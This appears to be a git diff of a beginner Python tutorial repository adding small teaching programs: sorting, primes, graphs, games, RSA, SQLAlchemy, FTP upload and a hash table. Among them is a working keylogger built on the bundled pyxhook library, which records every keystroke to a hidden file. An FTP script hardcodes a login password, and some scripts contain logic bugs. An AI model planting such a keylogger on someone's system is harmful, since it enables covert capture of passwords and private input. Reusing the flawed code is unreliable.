b/Programs/P56_Pangram.py index 2e6ff3c..be2f31d 100644 --- a/Programs/P56_Pangram.py +++ b/Programs/P56_Pangram.py @@ -24,7 +24,7 @@ def pangram(sentence): # A short version of above function: def pangram2(sentence): alphabet = list(map(chr, range(97, 123))) - formattedString = ''.join(c for c in string if c.isalpha()).lower() + formattedString = ''.join(c for c in sentence if c.isalpha()).lower() return set(alphabet) == set(formattedString) if __name__ == '__main__': diff --git a/Programs/P62_BinaryTree.py b/Programs/P62_BinaryTree.py index fe29b3a..56a3bc1 100644 --- a/Programs/P62_BinaryTree.py +++ b/Programs/P62_BinaryTree.py @@ -38,18 +38,39 @@ def insertLeft(self,newnodeData): tree.left = self.left + + def printTree(tree): if tree != None: printTree(tree.getLeftChild()) print(tree.getnodeDataValue()) printTree(tree.getRightChild()) + +def pprint(head_node, _pre="", _last=True, term=False): + data = "*" if head_node is None else head_node.nodeData + + print(_pre, "`- " if _last else "|- ", data, sep="") + _pre += " " if _last else "| " + + if term: return + + left = head_node.getLeftChild() + right = head_node.getRightChild() + + for i, child in enumerate([left, right]): + pprint(child, _pre, bool(i) ,term=not(bool(child))) + + + + def testTree(): myTree = BinaryTree("1") myTree.insertLeft("2") myTree.insertRight("3") myTree.insertRight("4") printTree(myTree) + pprint(myTree) if __name__ == '__main__': testTree() diff --git a/Programs/P66_HeapSort.py b/Programs/P66_HeapSort.py new file mode 100644 index 0000000..0324b56 --- /dev/null +++ b/Programs/P66_HeapSort.py @@ -0,0 +1,50 @@ +# Author: OMKAR PATHAK + +# Approach: +# Heap sort happens in two phases. In the first phase, the array +# is transformed into a heap. A heap is a binary tree where +# 1) each node is greater than each of its children +# 2) the tree is perfectly balanced +# 3) all leaves are in the leftmost position available. +# In phase two the heap is continuously reduced to a sorted array: +# 1) while the heap is not empty +# - remove the top of the head into an array +# - fix the heap. + +# Time Complexity of Solution: +# Best O(nlog(n)); Average O(nlog(n)); Worst O(nlog(n)). + +def HeapSort(alist): + heapify(alist) # create the heap + end = len(alist) - 1 + while end > 0: + alist[end], alist[0] = alist[0], alist[end] + shiftDown(alist, 0, end - 1) + end -= 1 + +def heapify(alist): + ''' This function helps to maintain the heap property ''' + # start = (len(alist) - 2) // 2 (faster execution) + start = len(alist) // 2 + while start >= 0: + shiftDown(alist, start, len(alist) - 1) + start -= 1 + +def shiftDown(alist, start, end): + root = start + while root * 2 + 1 <= end: + child = root * 2 + 1 + # right child exists and is greater than left child + if child + 1 <= end and alist[child] < alist[child + 1]: + child += 1 + # if child is greater than root(parent), then swap their positions + if child <= end and alist[root] < alist[child]: + alist[root], alist[child] = alist[child], alist[root] + root = child + else: + return + +if __name__ == '__main__': + alist = [12, 2, 4, 5, 2, 3] + HeapSort(alist) + print('Sorted Array:',alist) diff --git a/Programs/P67_SieveOfEratosthenes.py b/Programs/P67_SieveOfEratosthenes.py new file mode 100644 index 0000000..ff81f35 --- /dev/null +++ b/Programs/P67_SieveOfEratosthenes.py @@ -0,0 +1,34 @@ +# Auhtor: OMKAR PATHAK + +# Sieve of Eratosthenes is one of the efficient algorithms to find all the prime numbers upto n, where n can be +# upto 10 million. This algorithm is very efficient and fast and hence is preferred by many competitive programmers. + +# Algo: +# 1. Create a list of consecutive integers from 2 to n: (2, 3, 4, …, n). +# 2. Initially, let p equal 2, the first prime number. +# 3. Starting from p, count up in increments of p and mark each of these numbers greater than p itself in the list. +# These numbers will be 2p, 3p, 4p, etc.; note that some of them may have already been marked. +# 4. Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise, +# let p now equal this number (which is the next prime), and repeat from step 3. +# When the algorithm terminates, all the numbers in the list that are not marked are prime. + +def SieveOfEratosthenes(n): + primes = [True] * (n + 1) + p = 2 # because p is the smallest prime + + while(p * p <= n): + # if p is not marked as False, this it is a prime + if(primes[p]) == True: + # mark all the multiples of number as False + for i in range(p * 2, n + 1, p): + primes[i] = False + + p += 1 + + # printing all primes + for i in range(2, n): + if primes[i]: + print(i) + +if __name__ == '__main__': + SieveOfEratosthenes(1000) diff --git a/Programs/P68_TopologicalSort.py b/Programs/P68_TopologicalSort.py new file mode 100644 index 0000000..c7db7a4 --- /dev/null +++ b/Programs/P68_TopologicalSort.py @@ -0,0 +1,66 @@ +# Author: OMKAR PATHAK + +# Time Complexity: O(|V| + |E|) +# One important point to remember is that topological sort can be applied only to acyclic graph. + +class Graph(): + def __init__(self, count): + self.vertex = {} + self.count = count # vertex count + + # for printing the Graph vertexes + def printGraph(self): + for i in self.vertex.keys(): + print(i,' -> ', ' -> '.join([str(j) for j in self.vertex[i]])) + + # for adding the edge beween two vertexes + def addEdge(self, fromVertex, toVertex): + # check if vertex is already present, + if fromVertex in self.vertex.keys(): + self.vertex[fromVertex].append(toVertex) + else: + # else make a new vertex + self.vertex[fromVertex] = [toVertex] + self.vertex[toVertex] = [] + + def topologicalSort(self): + visited = [False] * self.count # Marking all vertices as not visited + stack = [] # Stack for storing the vertex + for vertex in range(self.count): + # Call the recursive function only if not visited + if visited[vertex] == False: + self.topologicalSortRec(vertex, visited, stack) + + print(' '.join([str(i) for i in stack])) + # print(stack) + + # Recursive function for topological Sort + def topologicalSortRec(self, vertex, visited, stack): + + # Mark the current node in visited + visited[vertex] = True + + # mark all adjacent nodes of the current node + try: + for adjacentNode in self.vertex[vertex]: + if visited[adjacentNode] == False: + self.topologicalSortRec(adjacentNode, visited, stack) + except KeyError: + return + + # Push current vertex to stack which stores the result + stack.insert(0,vertex) + +if __name__ == '__main__': + g= Graph(6) + g.addEdge(5, 2) + g.addEdge(5, 0) + g.addEdge(4, 0) + g.addEdge(4, 1) + g.addEdge(2, 3) + g.addEdge(3, 1) + # g.printGraph() + g.topologicalSort() + + # OUTPUT: + # 5 4 2 3 1 0 diff --git a/Programs/P69_ReverseWords.py b/Programs/P69_ReverseWords.py new file mode 100644 index 0000000..8c69e0e --- /dev/null +++ b/Programs/P69_ReverseWords.py @@ -0,0 +1,12 @@ +# Author: OMKAR PATHAK + +# Python program to reverse the words + +userInput = input() +userInput = userInput.split() + +print(' '.join(userInput[::-1])) + +# OUTPUT: +# Computer Science +# Science Computer diff --git a/Programs/P70_SimpleProgressBar.py b/Programs/P70_SimpleProgressBar.py new file mode 100644 index 0000000..ee03455 --- /dev/null +++ b/Programs/P70_SimpleProgressBar.py @@ -0,0 +1,18 @@ +# This is the program for creating a simple progress bar. You may need this in many of your projects. +# You can install a module for progress bar by 'pip3 install progressbar2' + +import sys, time + +def progressBar(count, total, suffix=''): + barLength = 60 + filledLength = int(round(barLength * count / float(total))) + + percent = round(100.0 * count / float(total), 1) + bar = '=' * filledLength + '-' * (barLength - filledLength) + + sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percent, '%', suffix)) + sys.stdout.flush() + +for i in range(10): + time.sleep(1) + progressBar(i, 10) diff --git a/Programs/P71_PythonUnittest.py b/Programs/P71_PythonUnittest.py new file mode 100644 index 0000000..b5ef685 --- /dev/null +++ b/Programs/P71_PythonUnittest.py @@ -0,0 +1,44 @@ +# Author: OMKAR PATHAK + +# This module helps to build the testcases for a particular program to test its integrity and overall execution + +import unittest + +def checkPrime(number): + '''This function checks if the number is a prime number''' + if number == 2: + return True + if number > 2: + for i in range(2, number): + if number % i == 0: + return False + break + else: + return True + break + else: + return False + +# Class for providing test cases +class CheckPrime(unittest.TestCase): + + def test_checkPrime(self): + self.assertEqual(checkPrime(3), True) # Check if the function returns the value specified in the second argument + + def test_checkPrime2(self): + self.assertTrue(checkPrime(5)) # Check if the function returns True + self.assertFalse(checkPrime(4)) # Check if the function returns False + + def test_checkPrime3(self): + # Check that providing a string input produces an error + with self.assertRaises(TypeError): + checkPrime('1') + +if __name__ == '__main__': + unittest.main() + + # OUTPUT: + # ---------------------------------------------------------------------- + # Ran 3 tests in 0.000s + #   + # OK diff --git a/Programs/P72_PythonLambda.py b/Programs/P72_PythonLambda.py new file mode 100644 index 0000000..67fc881 --- /dev/null +++ b/Programs/P72_PythonLambda.py @@ -0,0 +1,33 @@ +# Author: OMKAR PATHAK + +# In this program we will learn what Python lambda is. +# The lambda operator or lambda function is a way to create small anonymous functions, i.e. functions without +# a name. These functions are throw-away functions, i.e. they are just needed where they have been created. +# Lambda functions are mainly used in combination with the functions filter(), map() and reduce(). The lambda +# feature was added to Python due to the demand from Lisp programmers. + +# The argument list consists of a comma separated list of arguments and the expression is an arithmetic +# expression using these arguments. You can assign the function to a variable to give it a name. +# The following example of a lambda function returns the sum of its two arguments: + +myFunc = lambda x, y: x * y + +print(myFunc(2, 3)) #output: 6 + +#Here we are directly creating the function and passing the arguments +print((lambda x, y: x * y)(2, 3)) #same output i.e 6 + +print(type(lambda x, y: x * y)) #Output: + +# example to find squares of all numbers of a list +myList = [i for i in range(10)] + +# returns square of each number +myFunc2 = lambda x: x * x + +squares = list(map(myFunc2, myList)) +print(squares) # Output: [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] + +print(list(map(lambda x: x * x, myList))) #same as above + + diff --git a/Programs/P73_SimplePythonEncryption.py b/Programs/P73_SimplePythonEncryption.py new file mode 100644 index 0000000..f898416 --- /dev/null +++ b/Programs/P73_SimplePythonEncryption.py @@ -0,0 +1,27 @@ +# Author: OMKAR PATHAK + +# This program illustrates a simple Python encryption example using the RSA Algotrithm + +# RSA is an algorithm used by modern computers to encrypt and decrypt messages. It is an asymmetric +# cryptographic algorithm. Asymmetric means that there are two different keys (public and private). + +# For installation: sudo pip3 install pycrypto + +from Crypto.PublicKey import RSA +from Crypto import Random + +randomGenerator = Random.new().read +# Generating a private key and a public key +# key stores both the keys +key = RSA.generate(1024, randomGenerator) # 1024 is the size of the key in bits +print(key) # Prints private key +print(key.publickey()) # Prints public key + +# Encryption using Public Key +publicKey = key.publickey() +encryptedData = publicKey.encrypt('My name is Omkar Pathak'.encode('utf-8'), 32) +print(encryptedData) + +# Decryption using Private Key +decryptedData = key.decrypt(encryptedData) +print(decryptedData) diff --git a/Programs/P74_PythonGenerators.py b/Programs/P74_PythonGenerators.py new file mode 100644 index 0000000..16333bf --- /dev/null +++ b/Programs/P74_PythonGenerators.py @@ -0,0 +1,18 @@ +# Author: OMKAR PATHAK + +# A Python generator is a function which returns a generator iterator (just an object we can iterate over) +# by calling yield + +def simpleGenerator(numbers): + i = 0 + while True: + check = input('Wanna generate a number? (If yes, press y else n): ') + if check in ('Y', 'y') and len(numbers) > i: + yield numbers[i] + i += 1 + else: + print('Bye!') + break + +for number in simpleGenerator([10, 11, 12, 14]): + print(number) diff --git a/Programs/P75_TicTacToe.py b/Programs/P75_TicTacToe.py new file mode 100644 index 0000000..a8dcee4 --- /dev/null +++ b/Programs/P75_TicTacToe.py @@ -0,0 +1,75 @@ +# Author: OMKAR PATHAK + +# A simple example of tic tac toe game + +# For storing user choices +choices = [] + +# For initializing the board with numbers +for i in range(0, 9): + choices.append(str(i)) + +firstPlayer = True +winner = False +iterations = 0 # To terminate the loop + +# For drawing board on to the terminal +def printBoard(): + print('\n=============') + print('| ' + choices[0] + ' | ' + choices[1] + ' | ' + choices[2] + ' |') + print('=============') + print('| ' + choices[3] + ' | ' + choices[4] + ' | ' + choices[5] + ' |') + print('=============') + print('| ' + choices[6] + ' | ' + choices[7] + ' | ' + choices[8] + ' |') + print('=============\n') + +# Play the game while the winner is not decided or the game is drawn +while not winner and iterations < 9: + printBoard() + + iterations += 1 + + if firstPlayer == True: + print('Player 1: ', end = '') + else: + print('Player 2: ', end = '') + + try: + playerInput = int(input()) + except: + print('Please enter a valid number from the board') + continue + + # Check if userInput already has 'X' or 'O' + if choices[playerInput] == 'X' or choices[playerInput] == 'O': + print('Illegal move, try again!') + continue + + if firstPlayer: + choices[playerInput] = 'X' + else: + choices[playerInput] = 'O' + + firstPlayer = not firstPlayer + + # Winning conditions + for index in range(0, 3): + # For [0,1,2], [3,4,5], [6,7,8] + if (choices[index * 3] == choices[((index * 3) + 1)] and choices[index * 3] == choices[((index * 3) + 2)]): + winner = True + printBoard() + + # For [0,3,6], [1,4,7], [2,5,8] + if(choices[index] == choices[index + 3] and choices[index + 3] == choices[index + 6]): + winner = True + printBoard() + + if((choices[0] == choices[4] and choices[4] == choices[8]) or + (choices[2] == choices[4] and choices[4] == choices[6])): + winner = True + printBoard() + +if winner: + print('Player ' + str(int(firstPlayer + 1)) + ' wins!') +else: + print('Game drawn') diff --git a/Programs/P76_PythonFTP.py b/Programs/P76_PythonFTP.py new file mode 100644 index 0000000..9df8d20 --- /dev/null +++ b/Programs/P76_PythonFTP.py @@ -0,0 +1,46 @@ +# Author: OMKAR PATHAK + +# For transfering files to your another/local computer, you will have to install a FTP +# Daemon. Execute following for doing the same: +# 1. sudo apt-get install vsftpd +# 2. service vsftpd start +# 3. sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.orig +# 4. sudo nano /etc/vsftpd.conf + +# Now change the following settings in that file: +# +# anonymous_enable=NO # disable anonymous login +# local_enable=YES # permit local logins +# write_enable=YES # enable FTP commands which change the filesystem +# local_umask=022 # value of umask for file creation for local users +# dirmessage_enable=YES # enable showing of messages when users first enter a new directory +# xferlog_enable=YES # a log file will be maintained detailing uploads and downloads +# connect_from_port_20=YES # use port 20 (ftp-data) on the server machine for PORT style connections +# xferlog_std_format=YES # keep standard log file format +# listen=NO # prevent vsftpd from running in standalone mode +# listen_ipv6=YES # vsftpd will listen on an IPv6 socket instead of an IPv4 one +# pam_service_name=vsftpd # name of the PAM service vsftpd will use +# userlist_enable=YES # enable vsftpd to load a list of usernames +# tcp_wrappers=YES # turn on tcp wrappers + +import ftplib + +def ftp_upload(ftpObj, pathToSend, pathToRecv, fileType='TXT'): + """ + A function for uploading files to an FTP server + @param ftpObj: The file transfer protocol object + @param path: The path to the file to upload + """ + with open(pathToSend, 'rb') as fobj: + ftpObj.storlines('STOR ' + pathToRecv, fobj) + +if __name__ == '__main__': + ftp = ftplib.FTP('127.0.0.1') + ftp.login('omkarpathak', '8149omkar') + print('Logged in..') + + pathToSend = '/home/omkarpathak/Desktop/output.txt' + pathToRecv = '/home/omkarpathak/Documents/output.txt' + ftp_upload(ftp, pathToSend, pathToRecv) + + ftp.quit() diff --git a/Programs/P77_FileSearching.py b/Programs/P77_FileSearching.py new file mode 100644 index 0000000..a651b5c --- /dev/null +++ b/Programs/P77_FileSearching.py @@ -0,0 +1,51 @@ +# Author: OMKAR PATHAK + +# This program will help us implement concepts such as binary searching, operating system. +# P.S: Dont run this on root. That is dont give the DIRECTORY path as root else the program might +# consume all your resources and your system might get crashed + +import os +from pathlib import Path + +DIRECTORY = '/home/omkarpathak/Desktop' + +# List all the directories in the DIRECTORY +dirs = [name for name in os.listdir(DIRECTORY) if os.path.isdir(os.path.join(DIRECTORY, name))] + +# List all the files in the DIRECTORY +# files = [name for name in os.listdir(DIRECTORY) if os.path.isfile(os.path.join(DIRECTORY, name))] +files = [] + +for root, dirs, files in os.walk(DIRECTORY): + for File in files: + files.append(root + File) + +dirs.sort() +files.sort() + +def binarySearch(target, List): + '''This function performs a binary search on a sorted list and returns the position if successful else returns -1''' + left = 0 #First position of the list + right = len(List) - 1 #Last position of the list + global iterations + iterations = 0 + + while left <= right: #U can also write while True condition + iterations += 1 + mid = (left + right) // 2 + if target == List[mid]: + return mid, List[mid] + elif target < List[mid]: + right = mid - 1 + else: + left = mid + 1 + return -1 + +print(dirs) +print(files) + +try: + result, filePath = binarySearch('server.py', files) + print(os.path.abspath(filePath)) +except: + print('File not found') diff --git a/Programs/P78_HashTable.py b/Programs/P78_HashTable.py new file mode 100644 index 0000000..c4aaf61 --- /dev/null +++ b/Programs/P78_HashTable.py @@ -0,0 +1,40 @@ +# Author: OMKAR PATHAK + +# In computing, a hash table (hash map) is a data structure which implements an associative array abstract +# data type, a structure that can map keys to values. A hash table uses a hash function to compute an index +# into an array of buckets or slots, from which the desired value can be found. + +# Python's built-in data type dictionary uses hash tables to retrieve key value pairs. + +class HashMap(object): + def __init__(self): + self.hash_map = [[(None, None)] for _ in range(10)] + + def insert(self, key, value): + hash_key = hash(key) % len(self.hash_map) + key_exists = 0 + hash_list = self.hash_map[hash_key] + # print(key, value) + for i, key_value_pair in enumerate(hash_list): + key_in_table, value_in_table = key_value_pair + if key == key_in_table or key_in_table == None: + key_exists = 1 + if key_exists: + hash_list[i] = ((key, value)) + else: + hash_list.append((key, value)) + + def get(self, key): + hash_key = hash(key) % len(self.hash_map) + hash_list = self.hash_map[hash_key] + for i, key_value in enumerate(hash_list): + key_in_table, value_in_table = key_value + return value_in_table + raise KeyError + +if __name__ == '__main__': + myDict = HashMap() + myDict.insert('Omkar', 'Pathak') + myDict.insert('Jagdish', 'Pathak') + value = myDict.get('Omkar') + print(value) diff --git a/Programs/P79_SimplePythonKeylogger.py b/Programs/P79_SimplePythonKeylogger.py new file mode 100644 index 0000000..ff08573 --- /dev/null +++ b/Programs/P79_SimplePythonKeylogger.py @@ -0,0 +1,49 @@ +# Author: OMKAR PATHAK + +# This file requires two modules to be installed: +# 1. pyxhook.py: file is provided in the folder itself +# 2. Xlib: sudo pip3 install python3-Xlib + +import pyxhook +import time + +# functions to write a newline character into the file +def newline(): + file = open('.keylogger', 'a') + file.write('\n') + file.close() + +# This function is called every time a key is pressed +def key_press_event(event): + global running + # write the key pressed into a file + if event.Key != 'space' and event.Key != 'Escape': + with open('.keylogger', 'a+') as File: + File.write(event.Key) + + # If the ascii value matches spacebar, add a newline in the file + if event.Key == 'space': + newline() + + # If the ascii value matches escape, terminate the while loop + if event.Key == 'Escape': + running = False + newline() + +if __name__ == '__main__': + # Create hookmanager + hookman = pyxhook.HookManager() + # Define our callback to fire when a key is pressed down + hookman.KeyDown = key_press_event + # Hook the keyboard + hookman.HookKeyboard() + # Start our listener + hookman.start() + + # Create a loop to keep the application running + running = True + while running: + time.sleep(0.1) + + # Close the listener when we are done + hookman.cancel() diff --git a/Programs/P80_SQLAlchemyTutorial.py b/Programs/P80_SQLAlchemyTutorial.py new file mode 100644 index 0000000..f031635 --- /dev/null +++ b/Programs/P80_SQLAlchemyTutorial.py @@ -0,0 +1,61 @@ +# Author: OMKAR PATHAK +# This is a simple tutorial on usinng SQLAlchemy as ORM (Object Relational Mapping) + +# Make sure you have installed SQLAlchemy using: pip3 install sqlalchemy + +from sqlalchemy import ( + create_engine, + Column, + Integer, + String +) + +from sqlalchemy.ext.declarative import declarative_base +from sqlalchemy.orm import sessionmaker +import os + + +# create a sqlite db +engine = create_engine('sqlite:///example.db', echo=True) +Base = declarative_base() + + +class Student(Base): + __tablename__ = "student" + + id = Column(Integer, primary_key=True) + username = Column(String) + firstname = Column(String) + lastname = Column(String) + university = Column(String) + + def __init__(self, username, firstname, lastname, university): + self.username = username + self.firstname = firstname + self.lastname = lastname + self.university = university + + +def create_tables(): + # create tables + Base.metadata.create_all(engine) + + +if __name__ == '__main__': + sqlite_file = 'example.db' + file_exists = os.path.isfile(sqlite_file) + if not file_exists: + create_tables() + Session = sessionmaker(bind=engine) + session = Session() + + # Create objects + user = Student('OmkarPathak', 'Omkar', 'Pathak', 'MIT') + session.add(user) + + # commit the record the database + session.commit() + + # Select objects + for student in session.query(Student).order_by(Student.id): + print (student.firstname, student.lastname) diff --git a/Programs/example.db b/Programs/example.db new file mode 100644 index 0000000..633be46 Binary files /dev/null and b/Programs/example.db differ diff --git a/Programs/pyxhook.py b/Programs/pyxhook.py new file mode 100644 index 0000000..4d5880d --- /dev/null +++ b/Programs/pyxhook.py @@ -0,0 +1,358 @@ +#!/usr/bin/python +# +# pyxhook -- an extension to emulate some of the PyHook library on linux. +# +# Copyright (C) 2008 Tim Alexander +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +# Thanks to Alex Badea for writing the Record +# demo for the xlib libraries. It helped me immensely working with these +# in this library. +# +# Thanks to the python-xlib team. This wouldn't have been possible without +# your code. +# +# This requires: +# at least python-xlib 1.4 +# xwindows must have the "record" extension present, and active. +# +# This file has now been somewhat extensively modified by +# Daniel Folkinshteyn +# So if there are any bugs, they are probably my fault. :) + +import sys +import os +import re +import time +import threading + +from Xlib import X, XK, display, error +from Xlib.ext import record +from Xlib.protocol import rq + +####################################################################### +########################START CLASS DEF################################ +####################################################################### + +class HookManager(threading.Thread): + """This is the main class. Instantiate it, and you can hand it KeyDown and KeyUp (functions in your own code) which execute to parse the pyxhookkeyevent class that is returned. + + This simply takes these two values for now: + KeyDown = The function to execute when a key is pressed, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class. + KeyUp = The function to execute when a key is released, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class. + """ + + def __init__(self): + threading.Thread.__init__(self) + self.finished = threading.Event() + + # Give these some initial values + self.mouse_position_x = 0 + self.mouse_position_y = 0 + self.ison = {"shift":False, "caps":False} + + # Compile our regex statements. + self.isshift = re.compile('^Shift') + self.iscaps = re.compile('^Caps_Lock') + self.shiftablechar = re.compile('^[a-z0-9]$|^minus$|^equal$|^bracketleft$|^bracketright$|^semicolon$|^backslash$|^apostrophe$|^comma$|^period$|^slash$|^grave$') + self.logrelease = re.compile('.*') + self.isspace = re.compile('^space$') + + # Assign default function actions (do nothing). + self.KeyDown = lambda x: True + self.KeyUp = lambda x: True + self.MouseAllButtonsDown = lambda x: True + self.MouseAllButtonsUp = lambda x: True + + self.contextEventMask = [X.KeyPress,X.MotionNotify] + + # Hook to our display. + self.local_dpy = display.Display() + self.record_dpy = display.Display() + + def run(self): + # Check if the extension is present + if not self.record_dpy.has_extension("RECORD"): + print ("RECORD extension not found") + sys.exit(1) + r = self.record_dpy.record_get_version(0, 0) + print ("RECORD extension version %d.%d" % (r.major_version, r.minor_version)) + + # Create a recording context; we only want key and mouse events + self.ctx = self.record_dpy.record_create_context( + 0, + [record.AllClients], + [{ + 'core_requests': (0, 0), + 'core_replies': (0, 0), + 'ext_requests': (0, 0, 0, 0), + 'ext_replies': (0, 0, 0, 0), + 'delivered_events': (0, 0), + 'device_events': tuple(self.contextEventMask), #(X.KeyPress, X.ButtonPress), + 'errors': (0, 0), + 'client_started': False, + 'client_died': False, + }]) + + # Enable the context; this only returns after a call to record_disable_context, + # while calling the callback function in the meantime + self.record_dpy.record_enable_context(self.ctx, self.processevents) + # Finally free the context + self.record_dpy.record_free_context(self.ctx) + + def cancel(self): + self.finished.set() + self.local_dpy.record_disable_context(self.ctx) + self.local_dpy.flush() + + def printevent(self, event): + print (event) + + def HookKeyboard(self): + pass + # We don't need to do anything here anymore, since the default mask + # is now set to contain X.KeyPress + #self.contextEventMask[0] = X.KeyPress + + def HookMouse(self): + pass + # We don't need to do anything here anymore, since the default mask + # is now set to contain X.MotionNotify + + # need mouse motion to track pointer position, since ButtonPress events + # don't carry that info. + #self.contextEventMask[1] = X.MotionNotify + + def processevents(self, reply): + if reply.category != record.FromServer: + return + if reply.client_swapped: + print ("* received swapped protocol data, cowardly ignored") + return + if not len(reply.data) or reply.data[0] < 2: + # not an event + return + data = reply.data + while len(data): + event, data = rq.EventField(None).parse_binary_value(data, self.record_dpy.display, None, None) + if event.type == X.KeyPress: + hookevent = self.keypressevent(event) + self.KeyDown(hookevent) + elif event.type == X.KeyRelease: + hookevent = self.keyreleaseevent(event) + self.KeyUp(hookevent) + elif event.type == X.ButtonPress: + hookevent = self.buttonpressevent(event) + self.MouseAllButtonsDown(hookevent) + elif event.type == X.ButtonRelease: + hookevent = self.buttonreleaseevent(event) + self.MouseAllButtonsUp(hookevent) + elif event.type == X.MotionNotify: + # use mouse moves to record mouse position, since press and release events + # do not give mouse position info (event.root_x and event.root_y have + # bogus info). + self.mousemoveevent(event) + + #print "processing events...", event.type + + def keypressevent(self, event): + matchto = self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0)) + if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): ## This is a character that can be typed. + if self.ison["shift"] == False: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + return self.makekeyhookevent(keysym, event) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) + return self.makekeyhookevent(keysym, event) + else: ## Not a typable character. + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + if self.isshift.match(matchto): + self.ison["shift"] = self.ison["shift"] + 1 + elif self.iscaps.match(matchto): + if self.ison["caps"] == False: + self.ison["shift"] = self.ison["shift"] + 1 + self.ison["caps"] = True + if self.ison["caps"] == True: + self.ison["shift"] = self.ison["shift"] - 1 + self.ison["caps"] = False + return self.makekeyhookevent(keysym, event) + + def keyreleaseevent(self, event): + if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): + if self.ison["shift"] == False: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + matchto = self.lookup_keysym(keysym) + if self.isshift.match(matchto): + self.ison["shift"] = self.ison["shift"] - 1 + return self.makekeyhookevent(keysym, event) + + def buttonpressevent(self, event): + #self.clickx = self.rootx + #self.clicky = self.rooty + return self.makemousehookevent(event) + + def buttonreleaseevent(self, event): + #if (self.clickx == self.rootx) and (self.clicky == self.rooty): + ##print "ButtonClick " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3): + #self.captureclick() + #else: + #pass + + return self.makemousehookevent(event) + + # sys.stdout.write("ButtonDown " + str(event.detail) + " x=" + str(self.clickx) + " y=" + str(self.clicky) + "\n") + # sys.stdout.write("ButtonUp " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + "\n") + #sys.stdout.flush() + + def mousemoveevent(self, event): + self.mouse_position_x = event.root_x + self.mouse_position_y = event.root_y + + # need the following because XK.keysym_to_string() only does printable chars + # rather than being the correct inverse of XK.string_to_keysym() + def lookup_keysym(self, keysym): + for name in dir(XK): + if name.startswith("XK_") and getattr(XK, name) == keysym: + return name.lstrip("XK_") + return "[%d]" % keysym + + def asciivalue(self, keysym): + asciinum = XK.string_to_keysym(self.lookup_keysym(keysym)) + if asciinum < 256: + return asciinum + else: + return 0 + + def makekeyhookevent(self, keysym, event): + storewm = self.xwindowinfo() + if event.type == X.KeyPress: + MessageName = "key down" + elif event.type == X.KeyRelease: + MessageName = "key up" + return pyxhookkeyevent(storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName) + + def makemousehookevent(self, event): + storewm = self.xwindowinfo() + if event.detail == 1: + MessageName = "mouse left " + elif event.detail == 3: + MessageName = "mouse right " + elif event.detail == 2: + MessageName = "mouse middle " + elif event.detail == 5: + MessageName = "mouse wheel down " + elif event.detail == 4: + MessageName = "mouse wheel up " + else: + MessageName = "mouse " + str(event.detail) + " " + + if event.type == X.ButtonPress: + MessageName = MessageName + "down" + elif event.type == X.ButtonRelease: + MessageName = MessageName + "up" + return pyxhookmouseevent(storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName) + + def xwindowinfo(self): + try: + windowvar = self.local_dpy.get_input_focus().focus + wmname = windowvar.get_wm_name() + wmclass = windowvar.get_wm_class() + wmhandle = str(windowvar)[20:30] + except: + ## This is to keep things running smoothly. It almost never happens, but still... + return {"name":None, "class":None, "handle":None} + if (wmname == None) and (wmclass == None): + try: + windowvar = windowvar.query_tree().parent + wmname = windowvar.get_wm_name() + wmclass = windowvar.get_wm_class() + wmhandle = str(windowvar)[20:30] + except: + ## This is to keep things running smoothly. It almost never happens, but still... + return {"name":None, "class":None, "handle":None} + if wmclass == None: + return {"name":wmname, "class":wmclass, "handle":wmhandle} + else: + return {"name":wmname, "class":wmclass[0], "handle":wmhandle} + +class pyxhookkeyevent: + """This is the class that is returned with each key event.f + It simply creates the variables below in the class. + + Window = The handle of the window. + WindowName = The name of the window. + WindowProcName = The backend process for the window. + Key = The key pressed, shifted to the correct caps value. + Ascii = An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256. + KeyID = This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing. + ScanCode = Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway. + MessageName = "key down", "key up". + """ + + def __init__(self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName): + self.Window = Window + self.WindowName = WindowName + self.WindowProcName = WindowProcName + self.Key = Key + self.Ascii = Ascii + self.KeyID = KeyID + self.ScanCode = ScanCode + self.MessageName = MessageName + + def __str__(self): + return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nKey Pressed: " + str(self.Key) + "\nAscii Value: " + str(self.Ascii) + "\nKeyID: " + str(self.KeyID) + "\nScanCode: " + str(self.ScanCode) + "\nMessageName: " + str(self.MessageName) + "\n" + +class pyxhookmouseevent: + """This is the class that is returned with each key event.f + It simply creates the variables below in the class. + + Window = The handle of the window. + WindowName = The name of the window. + WindowProcName = The backend process for the window. + Position = 2-tuple (x,y) coordinates of the mouse click + MessageName = "mouse left|right|middle down", "mouse left|right|middle up". + """ + + def __init__(self, Window, WindowName, WindowProcName, Position, MessageName): + self.Window = Window + self.WindowName = WindowName + 